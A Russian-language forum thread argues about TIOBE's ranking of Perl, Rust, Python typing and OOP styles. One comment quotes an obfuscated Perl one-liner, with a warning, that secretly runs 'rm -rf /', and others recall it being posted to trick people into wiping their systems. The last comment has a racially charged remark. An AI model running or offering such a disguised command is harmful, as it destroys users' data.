Компания TIOBE Software опубликовала сентябрьский рейтинг популярности языков программирования. Выпуск примечателен значительным ростом популярности языка Perl, который за год поднялся с 27 на 10 место рейтинга. В феврале индекс популярности Perl составлял 0.49%, после чего начался его рост до 0.7% в марте, 0.9% в апреле, 1.2% в мае, 1.47% в июне, 1.76% в июле и достиг 2.08% в августе...Подробнее: https://www.opennet.me/opennews/art.shtml?num=63878
Самый бредовый рейтинг из всех, словно из параллельной вселенной. Раст, видите ли, менее популярен, чем вижуал бейсик и дельфи. Вы че там, совсем того?
Это рейтинг запросов. Видимо вопросы про Раст нет смысла задавать через поисковик, а статей\форумов по Бейсику и Дельфи -- валом, и поиск с помощью Гугла достаточно эффективен.
Как вы смеете замалчивать Великую Python! Доля рынка - вещи упрямая.
Python действительно лучше!
На бейсике и дельфи очень много легаси, очень много GUI софта, который дорого переписывать с нуля. Раст же бодается с сями. И хайпит в основном узких кругах и то только практически только в опен сорсе.
>На бейсике и дельфи очень много легаси, очень много GUI софта, который дорого переписывать с нуля.Лично я на Дельфи в нулевые много прогал. Может мои проги кто-то поддерживает. Последний раз писал в году эдак 2011-м.
Всё правильно. Рейтинг показывает, на каких языка действительно пишут, а о каких лишь постоянно говорят. :)
Рейтинг показывает температуру у бегемота пролетающего над Марсом в полнолуние и ничего более
Да, но умный человек по температуре бегемота может экстраполировать некоторые данные о погоде на Марсе. Поэтому, почему бы и нет?
Умный человек знает, что бегемоты не летают, тем более над Марсом
Все языки программирования делятся на две категории: те, на которые постоянно жалуются, и те, на которых ничего не пишут.
Эти "постоянные писатели на дельфи" сейчас с нами в одной комнате?
Ну да, они пишут FL Studio и в ус не дуют. У Embarcadero есть заказчики, как и у Digital Mars D, они просто не отсвечивают так яро, как любители коррозии.
Смысл подобных языков в том, что контора взаимодействует с заказчикам и пишет язык под них, не опираясь на всякую дичь вроде соблюдения ISO стандартов (стандарты на Си имеют такую же практическую ценность как и стандарты на акупунктуру - их никто не соблюдает на 100%, тем самым, они ненадёжны).
Именно такая схема была у Никлауса Вирта с Oberon.
Рейтинг на основе запросов. Чем лучше язык знаешь, тем меньше ищешь что-либо для него. Питон впихнули во все школьные программы. Но пригоден ли он для нормального программирования - это вряд ли.
Расскажи про нормальное программирование инстаграм, спотифай, нетфликс, дропбокс и еще сотне известных компаний.
В этом и нюанс, не учитывают запросы к нейронкам, а я думаю что там картина будет совершенно другая
>Питон впихнули во все школьные программы. Но пригоден ли он для нормального программирования - это вряд ли.Не брюзжи. Пригоден.
ага, столько на пистоне написали IDE, баз данных, мобильных приложений .... эток так примерно ни одного.Скриптовый язык который убил перл и занял узкую нишу микро сприптов, без строгой типизации, многопоточности но за-то с множественным наследованием :)))))
Так там учитывают кол-во новых программ на различных языках, а на Rust оно в пределах статистической погрешности.
> Раст, видите ли, менее популярен, чем вижуал бейсик и дельфи.Абсолютно с Вами согласен! Раст и Дельфи тут лишние.
Предсказуемо, зуммеры начали "вкуривать" истинные языки и приходят к истокам. Диды оказывается не зря ели свой хлеб.
Но к кследующей публикации рейтинга SQL обойдёт Perl потому, как зашёл в игрострой https://www.opennet.me/opennews/art.shtml?num=63853 :)
Ну так, SQL-же, а не KV какой-нить.
> Предсказуемо, зуммеры начали "вкуривать" истинные языки и приходят к истокамСкорее диды вышли в тираж, а новопришедшие на их место видят перловку и со словами "что это за х-ня??" лезут в гугл. И подымают перловке рейтинг.
> Диды оказывается не зря ели свой хлеб.
Невероятно сомнительное утверждение))
Но если видят perl - значит где-то требуется. Отсюда и популярность.
Сомнитильное ли? Практически все концепции (или, возможно, даже все?), используемые в современных ЯП как раз деды и придумали. Так что да, не зря ели свой хлеб
Щас поисковые запросы все делает ИИ, а уж он делает то, что ему покажется правильным. Например, когда я его спрашиваю про проблемы и их решения в геймдеве, он постоянно ищет про юнити, годот и анрил. При этом ни один из этих движков меня не интересует и я ими не пользуюсь.
Смысла обсуждать perl на stackover нету. Все давно уже обсуждено на perlmonks, etc и прекрасно гуглится.
А писать на пёрле так и не научились. Вон locale-gen на нём и я уже устал от того, что glibc теряет локали через минуту после генерации, хотя файлы на диске. Раньше такого не было, я склонен винить перловку. От 1000 пакетов зависимостей пропихнутых стараниями редхата в иксы и десктоп тоже не в восторге (спасибо от идеи пропихивать руби отказались, но это не лучше).
Это давно известная проблема, называется - "user's crooked hands" )
> Это давно известная проблема, называется - "user's crooked hands" )Да я вообще не понимаю, как они этого добились с locale-gen, и почему некоторое время после генерации работает. Не 1 запуск, от нескольких минут до часа. Уже на железо грешил, но со старой 2 веткой как часы работает, а могли ведь на нормальном языке написать. И похожая история буквально со всем софтом на перле, что-то подсказывает, дело тут не в программистах.
> Это давно известная проблема, называется - "user's crooked hands" )Есть более короткое описание этой проблемы, сокращенно это PEBCAC называется.
Какая разница на каком языке копипаста сгенерированнай айайай-агентом.
/s
Любители перловки таки вкурили, что в топы рейтинга попадают язычки, о которых чаще всего говорят, а не на которых работают.
Желаем перловке успехов!
Странно, что Rust не на первом месте.
Местные борцунчики с растом не в курсе, но у раста очень хорошая и подробная документация, а потому не приходится по помойкам шариться в поисках инфы
Какому языку из топ 5 документации не хватает? Кажется дело вовсе не в документации...
Хорошей? Каждому.
На C++ спецификация и документация платная. Документация на библиотеки раскиданны очень широко. Поэтому искать приходится в поисковике
Да-да,а бесчисленных учебников, в том числе переводов Страуструпа, не хватает.
Вы не поверите, алгоритм сортировки для массива чисел по чистому Си я гуглил.
P.D.Rust-ы (Professional Developers in Rust) продолжают придумывать что с ними кто-то борется, и именно оттого они ещё ничего не написали
Раст там, где и должен быть - около Матлаба.
Впечатление, что краулеры лютуют, ибо язык Ада туда же.
Либо ИИ учатся языкам древних.
Ада это язык такой же безопасный, как и раст, и ещё на нём пишут американские военные.В связи с тем, какая в мире 4 года обстановка и куда идут бюджеты, меня совершенно не удивляет рост Ады.
Так в расте ровно ничего безопасного нет, ты уверен? Из субсета ада сделали спарк и он формально верифицируется штатными стандартными средствами. А популярность растёт после того, как нвидиа запихнула его во все видеокарты 8 лет назад -- это ли не лучшее доказательство. Такой оттранслированный код намного дешевле обычного формально верифицированного си (да и быстрее). Да, во всех областях где требуется повышенная надёжность (вроде аэрокосмической отрасли) всегда используется либо ада, либо си. Правда, с ада ракеты взрывались, как и с фортраном, про си что-то ничего не слышно.
Long Live Perl!
Я выскажу свое мнение: перл давал возможность писать девелоперо-зависимый код, т.е. код который мог сопровождать только автор. Это было прекрасно для программистов, но катастрофично для менеджеров. Это старая война на перловом месте. Если писать ясный код, то перл лучший скриптовый язык.
> код который мог сопровождать только автор.Нора намного глубже. Сам свой рабочий код изучал примерно через год после написания, было тяжело (и не сказать чтобы успешно). Perl это просто write-only код, истинный смысл написанного улетучивается из ноосферы ровно в тот момент, когда закрывается редактор.
"Just works" применительно к перл-коду имеет особый смысл.
Но, на самом деле, "писа́ть на Си можно на любом языке".
Достаточно глупая байка от неосиляторов. Такие на любом языке пишут глупость, а вину перекладывают на коллег, язык и погоду.
> Это было прекрасно для программистов, но катастрофично для менеджеров.Это прекрасно только для одного единственного программиста - того, кто пишет это код.
Даже в команде сложно работать, а если тебе достался чужой легаси-проект... то вообще ахтунг.
Нет тут никакой прекрасности для программистов. Писать на регэкспах погут только особые эстеты. Поэтому перл и не пошёл в массы, пожтому заслуженно сдох.
А вот и пример унылого неосилятора, который даже регэкспы не осилил.
что значит давал??
Ю: На каком языке лучше обработать текст?ИИ: Perl
Ю: Напиши программу ....
ИИ: Вот программа на Perl ....
JavaScript и Python два самых убогих и при этом два самых популярных языка. В них кстати нет строгой типизации, это для начала. Как так-то?
На JavaScript по моим наблюдениям сейчас никто не начинает новых проектов, а старые с разной скоростью переписываются на TypeScript. А уже в TypeScript отличная система типов.
насчет отличной ты погярячился и ООП там кастрированныйно это лучше чем ничего, но если уж выбирать TS или JS то лучше последний свежаших стандартов
> ООП там кастрированныйОн просто другой. Но для вчерашних ООП — это «как в Яве», или на худой конец «как в крестах». А всё остальное кажется кастрированным в силу банального отсутствия знаний. Ну да что с кодеров взять.
Настоящий ООП это как CLOS.
Они все настоящие, но CLOS среди них — лучший.
> Они все настоящие, но CLOS среди них — лучший.При всём уважении к CLOS, лучший ООП -- это functor-ы в SML/OCaml. =)
PS: да, я знаю, что это не ООП; просто нафиг нужен ООП, если у тебя в руках functor?
functor - это просто возможность вызвать объект как функцию )
Вот пример реализации на C++:class Print {
public:
void operator()(const std::string& message) const {
std::cout << message << std::endl;
}
};int main() {
Print print;
print("Hello"); // Вызов как функции
print("World");
}
> functor - это просто возможность вызвать объект как функцию )Да, но идея куда глубже, чем то, чем в твоём примере.
Потому что в SML/OСaml модули -- являются объектами первого класса. И потому там -- ты определяешь фанктор над модулем: он принимает другой модуль в качестве основы, и на его базе строит новый модуль. А модуль в свою очередь определяет не только поля и методы, но ещё и типы, и сабмодули, итд итп. Потому что модуль -- это самый верхнеуровневый объект, ближайший аналог которого в C++ -- неймспейс.
Вот, ознакомься:
Лучший в эрланге.
Настоящий ООП есть только один, от автора понятия - в Smalltalk.
>> ООП там кастрированный
> Он просто другой. Но для вчерашних ООП — это «как в Яве»,
> или на худой конец «как в крестах». А всё остальное кажется
> кастрированным в силу банального отсутствия знаний. Ну да что с кодеров
> взять.Люто плюсую. ООП "как в яве / в крестах" -- просто один из видов ООП, основанный на классовой модели. Вообще, у ООП-парадигмы есть свои проблемы, которые в разных языках решаются по-разному. Например та же проблема ромба: в каких-то языках она просто зависит от имлементации (типа тех же крестов), в каких-то есть чёткая спецификация её разрешения (типа CLOS), в каких-то её просто нет, потому что нет множественного наследования (C#), в каких-то нет множественного наследования, но оно решается подмешиванием трейтов (Scala)... И это только верхушка айсберга -- это касается только ромба, и только классовых ООП-ов.
А есть ещё и другие виды ООП. В языках типа SML вообще потребности в ООП нет, потому что там через фанкторы можно определять на лету аж целые модули, которые в отличие от объектов могут содержать не только поля и методы, но ещё и, к примеру, новые типы данных. В OCaml пошли ещё дальше и таки ввели классовую парадигму ООП, но исключительно в целях совместного решения уравнений типа для всего класса сразу. Причём не сказать, чтобы это было сильно востребовано, ибо OCaml является наследником SML (уж простит меня Лерой Ксавьер за такое мнение =)).
Так что, когда ребятки видят экземплярный ООП в Perl, где объекты порождаются не через определение класса, а через создание копии экземпляра другого объекта -- по-видимому у них срабатывает синдром утёнка, потому что первое, что они видели -- скорее всего было "как в яве", "как в крестах", "как в шарпах". Но ситуация с ООП куда сложнее. Дело в том, что нет двух языков, в которых ООП был бы реализован одинакого. Если ты знаешь ООП в одном языке -- ты знаешь только этот ООП в этом конкретном языке, и ты не знаешь никаких других. И нет какого-то одного единого правильного эталонного ООП, на который все ориентируются.
так почему в EcmaScript вроде уже как лет 10 появились классы?то что есть в JS это не просто еще один вид ООП, это одна из его худших реализаций, поэтому называя ее кстрированной я еще смягчаю реальность, JS - это вечно накаченныя стероидами скриптотня, а накачивают потому что в браузере альтернативы нет, поражают только любители обмазаться на сервере
Можно и без ООП обходиться. Как у Julia, например. Но у TS вполне сносная система типов.
> ООП"Настоящий ООП" -- это когда насильно впихивают классы всюду. Настолько насильно, что в яве даже утилитные функции не создашь без того, чтобы не засунуть их в класс в виде статических методов.
А вообще, ООП в том виде, как его учат в универах, изрядно устарел. Композиция лучше наследования. Наследование -- это нарушение инкапсуляции, но ООП-фанатиков это не смущает. Паттерны ООП -- это дисциплина, целиком посвященная решению проблем, порожденных самим же ООП.
В каком месте это нарушение инкапсуляции?
> ООП там кастрированныйИ что? Веб это реакт, а реакт функциональный, ООП тебе не нужно в вебе.
Не скажу что-то про JavaScript, но Python очень простой, понятный и универсальный. А скорость разработки очень высокая!
Возможно есть лучше языки программирования, только после того когда у них хайп кончится, про них все забудут! А владелецам такого кода придётся раскошелиться на переписывания кода.
питон стал популярным из-за AI библиотек, а как язык ну такое, скриптовая лабуда, больше всего бесит вложенность отступами
> питон стал популярным из-за AI библиотекПри чём сделал это раньше, чем эти библиотеки появились. Почему у местных кекспертов так пригорает от популярности Питона?
У них про отступы больше пригорает. Или они в C блоки кода отступами не выделяют?
Единственное, что выделяют местные кексперты — комментарии. Кодить тут умеет от силы десяток человек, программировать — и того меньше.
>> питон стал популярным из-за AI библиотек
> При чём сделал это раньше, чем эти библиотеки появились. Почему у местных
> кекспертов так пригорает от популярности Питона?если его пользовали 2.5 землекопа, то это еще была не популярность
Пик популярности python 2 пришелся на 2008-2010 годы. Tensorflow и Pytorch появились после 2015 года. Даже Гвидо признался, что сильно недооценил количество кода написанного кода на python 2, когда выпускал 3-й. Это было далеко не "2.5 землекопа". Думаю, что не переоцню, если предположу, что речь шла о миллионах программистов по всему миру.
> Не скажу что-то про JavaScript, но Python очень простой, понятный и
> универсальный. А скорость разработки очень высокая!Но как в анеке про машинистку и 1000 знаков в минуту - могу, но такая фигня получается! Язык для картонных макетов программ. Потому что они тормозные, глючные, разваливаются постоянно, все баги - в рантайме эту хрень выносят, большие проекты помирают в глюках и тормозах, а через пару лет это вообще работать перестает нахрен, если не переписыать постоянно. А так все хорошо прекрасная маркиза.
> тормозные, глючные, разваливаются постоянноЕсли кто-то не умеет программировать, то это вряд ли проблема языка.
> проекты помирают в глюках и тормозах, а через пару лет это вообще работать перестает нахрен, если не переписыать постоянно
Интересно, как в таких условиях Dropbox или да хоть тот же Гугл только выживают?
>> тормозные, глючные, разваливаются постоянно
> Если кто-то не умеет программировать, то это вряд ли проблема языка.Вообще-то это именно проблемы ЯП и его дизайна. И тимы девелопающей его и BDFLа.
1) Low entry barrier вызывает характерный эффект - "создайте систему которой модет пользоваться даже дypaк - и только он и захочет этим пользоваться".2) На уровне именно дизайня - язык враждебен к скорости и оптимизациям. Без фиксированых типов и с всякими eval() - невозможны многие оптимизации. Всегда надо проверять не помнялся ли тут тип и проч, оставить возможность мутирования кода и проч. Нельзя просто перегнать это в блок нативного кода выполняемого процом - и забыть про это все насовсем. И все становится хреново и сложно, максимум жуткие франкенштейны с JIT, но тут оказывается что кодогенерация и оптимизации в рантайме тоже ресурсы - жрут. А хорошая оптимзация кода - ресурсоемка. Одно дело если билдферма 1 раз отпашет. Другое - если ее будет косплеть у меня вон тот сервис.
3) На уровне багов, глюков и больших проектов опять же - в языке нет аннотаций намерений кодера. Его просто писать, но если что-то пошло не так - ОПА - теперь попробуйте разобраться почему это тут вообще ломается. Потому что оно могло сломаться - полчаса назад в совем другом месте. Узнать что, как, где и почему - удачи. Поэтому как только проект становится крупнее энного... ну...
4) По тем же причинам с статическим анализом душняк, а почти все ощибки - в рантайме. И далеко не все - сразу. Круто, конечно, когда в питоносервисе что-то падает через месяц обслуги юзерей. Теперь попробуйте это воспроизвести и починить.
5) Hype driven dev, с постоянной депрекацией и сломом. Если питоноскрипт не переписывать, через 2 года он просто не запустится. Чем больше кода питонист нагенерит, тем больше майнтенанса на нем подвисает. В какой-то момент он замечает что в сутках только 24 часа, а вся эта куча макетов становится заброшкой. Потому что разгребать рутину за вон теми, в таком объеме - ни разу не эпично.
> Интересно, как в таких условиях Dropbox или да хоть тот же Гугл только выживают?
Легко.
1) Dropbox сперва переписал бэк с python на go.
2) А потом и на Rust заодно.
3) Гугл придумал Go - для замены питона у себя в инсталляции. В чем и преуспел. При том не только у себя в инсталляции.Просто для понимания - все знакомые занимавшиеся бэками веба на пыхе и питоне почему-то ушли на go. На нем микросервисы очень милые и лаконичные, перфоманс не позорный, и нет кучи питонопроблем. И траблов с монструозным сторонним рантаймом как у пыха тоже. Что epic win под любым углом. Так что гугл - убийца питона в вебе, если что. Довольно успешный.
Лол, и у каких известных компаний он в проде? Десктоп приложения не делают, на сервере - тормоз, на мобилках - его нет. Разве что в подвальных конторках чёто пытаются на коленке запилить, но если вдруг выстрелит - как только, так сразу команду разгоняют и переписывают на нормальный ЯП.
Ютуб, может слышал? Ну там ещё какая-то поисковая система, вроде самая популярна в мире, и прочая подвальная фигня.
А где там питон то?.... Он там на стадии POC и закончился.
> А где там питон то?Если не вдаваться в подробности, то везде. И как универсальный клей, и как язык реализации отдельных сервисов. Что довольно забавно, потому что в контексте основных продуктов гугла практически всё является high load always on. И отдельные участки кода на питоне обрабатывают в сумме по несколько десятков миллионов запросов в сутки, и всем норм, даже рефакторинг нигде не чешется, и это компания с доходом как бюджет небольшой страны. Зато местные кексперты готовы оптимизировать код сайта для своего ларька с шавухой с тремя посетителями в день до талого, вместо того чтобы быстро написать лишь бы работало и пойти эту самую шавуху заворачивать.
Не придумывайте того, чего не знаете. Гугл не просто так делал языки Go, Dart. И, может быть где-то питон они и используют, но процент его в проде - весьма мал.
> язык реализации отдельных сервисовПруфов конечно же не будет. Из собственных продуктов гугла с исходным открытым кодом - хром, андроид, фуксия, webrtc - питон есть примерно нигде ни для чего. А вот потребителям своих облачных серверлесс платформ они как раз наоборот впаривают питон с жс - продавая вычислительные ресурсы раз в 10 дороже чем у обычных VPS/VDS провайдеров. Скриптодети платят, денежка капает.
>> язык реализации отдельных сервисов
> Пруфов конечно же не будет. Из собственных продуктов гугла с исходным открытым
> кодом - хром, андроид, фуксия, webrtc - питон есть примерно нигде
> ни для чего.Гугл Go сделал - для замены у себя питона в сервисах! Потому что его перфоманс ужасен, и майнтенансу вдолгую софт на питоне не подлежит, это ночной кошмар любого менеджера. И они специально его делали относительно простым, но с фиксом косяков питона, чтобы нанятых по объявлениям питонистов не очень сложно переучить было.
> раз в 10 дороже чем у обычных VPS/VDS провайдеров. Скриптодети платят,
> денежка капает.Ну так отлично - можно их конкурировать демпингом, делая то же самое но лучше и дешевле :). А представляете себе какой ужас был бы если б все конкуренты были отборные, быстрые, крутые, успешные?
> Python очень простой, понятныйМесяц назад начал его учить - столько нелогичностей в жизни разом не видел. Нет, понятно, что ляпы есть везде, но только Бидон умудряется называть свою свалку "простым, понятным и *пригодным для обучения новичков* (!) языком.
> Месяц назад начал его учить - столько нелогичностей в жизни разом не
> видел. Нет, понятно, что ляпы есть везде, но только Бидон умудряется
> называть свою свалку "простым, понятным и *пригодным для обучения новичков* (!) языком.Достаточно сказать что в питоне их BDFL добровольно (!!!) сбежал с кресла BDFL-а. Он развел такую помойку и такое сообщество - что получилось как в Darwin Awards про мужика и бобы. Просто утят учат - этому, они и уверены что весь мир должен крякать как утка.
Великий Python - лучше всех! Доля рынка - вещь упрямая! Как бы вы не брызгали слюной.
Не путайте долю рынка и долю поисковых запросов о нём. У питона нет устойчивого рынка ни в одной предметной области. Он просто абсолютно везде хуже какого-то специализированного языка. А в Вебе, например, ему вообще не место. Браузерный код как писали на TS/JS, так и будут в ближайшие 20 лет писать. Как и бизнес-логику на TS.
> В них кстати нет строгой типизации, это для началаВ python есть, хоть и опционально.
> В них кстати нет строгой типизацииВ Питоне строгая типизация вообще-то.
Правда?```
x: Int = 1
x = "whooy"
print(x)
```
не ругается, хотя при строгой типизации должен.
Слабая типизация является типичным решением для языков с динамической типизацией, но в некоторых случаях для динамических языков используется сильная система типов (например, в Python)
у питона все сильное даже если слабое
> ```
> x: Int = 1
> x = "whooy"
> print(x)
> ```
> не ругается, хотя при строгой типизации должен.Да ничего страшного, он у тебя потом отругается - трехэтажным трейсом - когда вон то ожидавшее "int" получит на вход "whooy", может быть даже и что-то сделает - но наверное не то что задумывал программер, после чего дальшейшее будет один сплощной undefined. Который однако икнется скорее всего ой как не сразу - поэтому счастливой отладки, дорогие питонисты.
>Правда?Правда
>не ругается, хотя при строгой типизации должен.
Не должен. Не должен хотя бы уж потому, что print() печатает и строки и числа)))
А вообще, вы путаете статическую типизацию и строгую динамическую. В питоне строгая динамическая типизация, и это значит, что любая переменная после инициализации является экземпляром объекта того типа, которым ее инициализировали. Это относится и ко встроенным типам. Любая операция с переменной (даже операция сравнения) - есть метод этого объекта, который вполне способен контролировать тип переданных ему параметров, и выбрасывать исключение TypeError
---------------
>>> a = 1
>>> b = 'abc'
>>> a > bTraceback (most recent call last):
File "<python-input-39>", line 1, in <module>
a > b
TypeError: '>' not supported between instances of 'int' and 'str'
--------------Что касается операции присваивания, то она порождает уже совсем другой объект, пусть и с тем же самым именем.
-------------
>>> a = 1
>>> id(a)4456547344
>>> a = 2
>>> id(a)4456547376
>>> a = 'abc'
>>> id(a)4448487728
-------------Кроме того следует помнить, что конструкция "a: int" не обязывает интерпретатор считать что внутри находится объект заявленного типа, поскольку такая конструкция - это просто подсказка (type hint) для разработчика, и поэтому финты вроде этого "a: int = 'aaaa'" к исключению не приводят.
> Не должен. Не должен хотя бы уж потому, что print() печатает и
> строки и числа)))Но переменной заявленной как int назначили - строку. Это ничего, норм что оно такое вообще - не ошибка?
> метод этого объекта, который вполне способен контролировать тип переданных
> ему параметров, и выбрасывать исключение TypeErrorПри том все это конечно в рантайме, чтобы питонист не скучал. И вот толку с такой "типизации" на практике? Оно брякнется где-то в рантайме, если не повезет то через месяц. А статический анализ - да черт с ним с статическим анализом. Очень удобно потом какой-нибудь унаследованный код на питоне получить и пытаться как-то это эксплуатировать.
>Но переменной заявленной как int назначили - строку. Это ничего, норм что оно такое вообще - не ошибка?Это "заявление как int" - оно для разработчика. Ну и для статического анализатора конечно тоже. А для интерпретатора "заявление" происходит в момент инициализации переменной. Не раньше.
------------
>>> g: int
>>> type(g)Traceback (most recent call last):
File "<python-input-41>", line 1, in <module>
type(g)
^
NameError: name 'g' is not defined
------------Обратите внимание, что поскольку инициализации не произошло, для питона переменной как бы и нет. Для питона переменная начинается не в тот момент когда она объявляется (или когда загружается код), а в тот момент когда происходит фактическое создание объекта переменной, а это как раз и есть момент инициализации. И каждый раз, как только происходит новая инициализация, то, условно говоря, создается новая переменная, пусть и с тем же именем. А все потому что создается новый объект, а старый утилизируется. И, да, создание новых объектов, конечно же, допустимо и в рантайме
> А статический анализ - да черт с ним с статическим анализом.
Спорное утверждение. Обойтись без него, конечно, можно, но вообще-то очень приятно когда тебе IDE подсказывает, что в метод готовится отправится объект не того типа, о котором заявлено в хинтах параметров метода))
Кстати, и в такой вот ситуации
-----
a: int
a = 'some string'
-----
статический анализатор так же будет выбрасывать предупреждение вида "Expected type 'int', got 'str' instead"
> Это "заявление как int" - оно для разработчика.Я почему-то думал что типы нужны не "для разработчика", и даже не чтобы вы на пару с гвидо пропечатали галочку в чеклисте (никому кроме вас не интересном), а - для антибага. Чтобюы софт не глюкавил и не валился с левыми ошибками, особенно - в рантайме. Но в питоне сделали все максимально через ..., чтобы это точно не работало так.
> Ну и для статического анализатора конечно тоже.
Которого по дефолту нет - как и деклараций в большинстве кода - так что на практике это не работает от слова вообще. А то что гвидо чисто номинально галочку прошлепал в отчетике мало чем и кому помогает.
> А для интерпретатора "заявление" происходит в момент инициализации
> переменной. Не раньше.На практике большая часть питонософта - отборнейшее глюкало валящееся с трехстраничными трейсами. Прямо в рантайме. Или того хуже - виснущее "ктулху его знает почему" без сообщений об ошибках вообще. И я готов поспорить что питонячий подход к типам - существенная часть этого балета.
> Обратите внимание, что поскольку инициализации не произошло,
Я обратил внимание что в том виде как в питоне - получаются отличные глюкала, и с статическим анализом швах - поэтому в целом оно просто валится с трехэтажными трейсами в рантайме, или вообще виснет нахрен, фиг знает почему. Это то как подобный софт работает на практике. И других ЯП с таким качеством софта ... ну... даже не знаю, JS разве что, но это не точно.
> именем. А все потому что создается новый объект, а старый утилизируется.
> И, да, создание новых объектов, конечно же, допустимо и в рантаймеИ все это прекрасно - кроме того что в результате оно функцию антибага не выполняет. Чем думали разработчики питона я не знаю - но определенно, не головой. И по качеству софта это прекрасно видно.
> Спорное утверждение. Обойтись без него, конечно, можно, но вообще-то очень приятно когда
> тебе IDE подсказывает, что в метод готовится отправится объект не того
> типа, о котором заявлено в хинтах параметров метода))Насколько я вижу - в целом для питоноприблуд это не особо работает и общее качество кода - швах. А то что особо упертый програмер может даже Doom на SQL - да, но это не делает сиквель отличным выбором геймдева.
> статический анализатор так же будет выбрасывать предупреждение вида
Вот только это не mandatory часть процесса в отличие от компилируемых яп с нормальной типизацией - и поэтому то что этот анализатор вообще кто-то запустить удосужится - ниоткуда не следует. И в таком виде это все - просто не работает. Так что реально у гвидо есть галочка какой он хороший парень с хорошим яп. А у нас есть куча тормозного падучего глюкала валящегося максимально неочевидным образом. И потом питонисты такие удивляются - за что их и их яп не любят и обходят за километр? Блин, за то что крови много пьет при попытках эксплуатации такого софта!
Вы путаете статическую и строгую типизацию.В JavaScript действительно нет ни статической, ни строгой типизации.
В Python нет статической, но есть строгая.
В C есть статическая, но нет строгой.
В Go и Rust и статическая, и строгая.
Зомби откопались из могил и решили что можно еще подефилировать.
Просто разработчики ушли во всякие chatgpt и поэтому в трендах поисковиков поднялись ретроградские языки
Приятно видеть как Ada набирает обороты.
Если бы в ядре её увидеть. Так бы и количество оборотов было бы неважно.
Ну, уже есть ядра написанные на Ada и SPARK. Например, Ironclad.
PHP обогнал Rust!🤣
Ибо на расте сайт не написать.
Ещё как можно. Более того, вариантов и для фронта, и для бэка достаточно.
А если и написать, то его сразу же взломают, так как в зависимость в crates.io добавят вирус.
А на чём не взломают? У всех современных языков есть аналог crates.io (pypi, npm, rubygems, pear/pecl, ...), кроме go у которого исходники тянутся напрямую из git реп, что ещё менее безопасно.
Почему не написать? axum + askama. По ощущениям 1 в 1 как питоновский flask, только в 100 раз быстрее и типобезопасный (включая шаблоны).
Примерно из той же оперы, почему ресдох вроде и написали, но не взлетела.
самый бесполезный и никчемный рейтинг, который вообще ничего интересного не показываетВ принципе более бесполезной фигни чем TIOBE сложно даже придумать
"Причины роста популярности Perl не ясны""Индекс популярности TIOBE строит свои выводы на основе анализа статистики поисковых запросов"
Внезапно. По сути всё, что надо знать. "Рейтинг" с источником данных в виде шума океанов Марса.
> But by TIOBE's ranking, Perl is still the #10 most-popular programming in September (dropping from #9 in August).а это потому что ув-я редакция опеннета спит в оглоблях
и заголовок надо править так:
"Язык Perl упал на 10е место"
> новопришедшие на их место видят перловку и со словами "что это за х-ня??" лезут в гугл. И подымают перловке рейтинг
мало того они еще и на амазоне книжки по перлу покупают, мерзавцы этакие, делают кассу хроматику
...и Уоллу сотоварищи
Взято из https://ru.m.wikipedia.org/wiki/Perl :Программа печатает простые числа:
perl -wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_'Программа рекурсивно удаляет все файлы на корневой фс (НЕ ЗАПУСКАЙТЕ ЕЁ):
echo "test... test... test..." | perl -e '$??s:;s:&s;;$?::s;;=]=>%-{<-|}<&|`{;;$y; -/:-@[[-`{-};`-{/" -;;s;;$_;see'(В результате запускается system"rm -rf /" )
Благодаря этому популярному однострочнику у команды rm теперь есть специальный ключ, без которого она не будет удалять / :)
Помню, на форуме ЛОРа этот однострочник лет 20 назад кто-то выложил, написав "помогите, не работает". Запускали добрые люди по незнанию. Кто-то даже на своём сервере запускал. Вот шуму то было...
> "помогите, не работает"В оригинале было "не печатает" :) Эх были ынторнеты! :)
Команда тут не при чём, кейсов где вызывался `rm -rf /${EMPTY_VAR}` в кривых скриптах было предостаточно задолго до неё.
Pascal прёт вверх за счёт Lazarus'а. На Lazarus'е можно делать не только native приложения, но и web- и android-
не дай бог, понимаете ли, езуз наш кристус, ещё когда-нибудь использоввать индексацию с единицы
> не дай бог, понимаете ли, езуз наш кристус, ещё когда-нибудь использоввать индексацию
> с единицы"Real programmers count from zero!"
> индексацию с единицыУ сишника спросили: "Продолжи счёт, начиная с пяти", - "Эээ... Мммм... 0, 1, 2, 3, 4, 5, 6... Ааа! 5, 6, 7...".
Не - не так! А вот так:
5 +0 ..+1 ..+2 ...Но ты невдуплишь :)
Внезапно:
var a: array [0..7] of integer;
var b: array [-5..10] of integer;
Пишу на расте. Спрашиваю вопросы у GPT. Возможно статистику популярности поисковых запросов делают диды для Делфи? Не ясно
Пишу на заборе. Спрашиваю у прохожих. Получаются какие-то математические формулы про икс, игрек и "и краткое".
Зет транспонированное с волной.
Твои формулы ошибочны.
> Язык Perl поднялся с 27 на 10 место в рейтинге TiobeЭто всё что нужно знать о Tiobe.
Да не, всё гораздо прозаичнее - просто я искал и копался в исходниках насчет реализации (s)rand в perl
> число книг по Perl в 4 раза превышает PHPПри этом популярность PHP, хоть и упала, но он вполне живой.
А перловка и раньше была нишевая, а сейчас вообще непонятно зачем нужна.
К сожалению, Perl слишком медленный, по производительности примерно как Python, т.е. в сотни раз медленнее C/C++. Хотя для скриптов Perl хороший язык - компактный, лаконичный. Для скриптов его и использую.
В далеком 1998 году была задача написать парсилку логов линукс сервака и на основе этого нагенерить кучу html-ок со статистикой и древовидной структурой, чтобы можно было смотреть кто и куда заходит на корпоративный веб сервер.
Я только после института, немного заню C++. Ну и прямо на серваке, через удаленный доступ в mceditore на g++ написал. Многомегабайтный лог парсился и куча html файлов создавались за 3 секунды. Очень быстро. Потом я узнал про Perl. Программа на нем была раз в 50 меньше по объему. Но делала тоже самое за 5 минут.
Вообще странно да, раньше все жрали что дают, а тут вдруг Perl, который в линуксах все еще используется, но старательно замещается Питоняшей. Удивительно как так весьма годный язык не смогли совсем похоронить, а он оказывается кому-то нужен. Ведь все должны бы следовать куда паровоз едет, а тут вдруг ИИ со своим мнением и люди вдруг узнали что есть что-то годное от него и теперь ИИ создает тренды. Вот это номер. "Мы тут вбухали миллиарды, чтобы науськать всех на свои языки, а ИИ нам такую свинью подложил" наверное думают западные менеджеры. Есть не только люди, а еще и ИИ с которым ну никак не хочется считаться, потому что он не в курсе трендов. Он вообще за объективность. Он не политкорректно может выдать ответ негру что 2 + 2 будет четыре, а это математика белых и вообще наши тараканы самые лучшие и не смейте смеяться над ними!
> но старательно замещается ПитоняшейДаже пёрл лучше чем питон
